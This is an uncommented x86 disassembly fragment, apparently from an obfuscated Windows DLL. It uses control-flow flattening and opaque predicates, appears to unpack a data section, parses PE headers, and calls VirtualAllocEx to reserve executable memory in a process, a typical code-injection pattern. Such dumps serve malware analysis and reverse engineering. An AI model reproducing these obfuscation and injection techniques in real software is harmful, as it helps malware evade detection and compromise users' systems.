jmp 0x10004e9d
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
add edx, 0x8f8317e2
sub edx, 1
sub edx, 0x8f8317e2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa4877fe6
mov ecx, 0xcd501b48
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10004e9d
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
mov edx, ecx
add edx, 0xbcccb7f5
sub edx, 1
sub edx, 0xbcccb7f5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa4877fe6
mov ecx, 0xe22739a8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10004e9d
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100056f0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4c000
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x110], 0x3f934b18
jmp 0x10004e9d
mov eax, dword [ebp - 0xac]
mov edx, dword [eax + 0x3c]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xb0]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x110], 0xe90b5e70
jmp 0x10004e9d
mov eax, dword [ebp - 0x100]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x94]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov dword [ebp - 0x110], 0xdf779a7a
jmp 0x10004e9d
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x110], 0x8f26ecf4
jmp 0x10004e9d
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x28]
mov dword [eax], ecx
mov dword [ebp - 0x110], 0xd80e264e
jmp 0x10004e9d
mov dword [ebp - 0x110], 0x24417b3f
jmp 0x10004e9d
mov dword [ebp - 0x110], 0xb2a30679
jmp 0x10004e9d
mov dword [ebp - 0x110], 0xcd501b48
jmp 0x10002980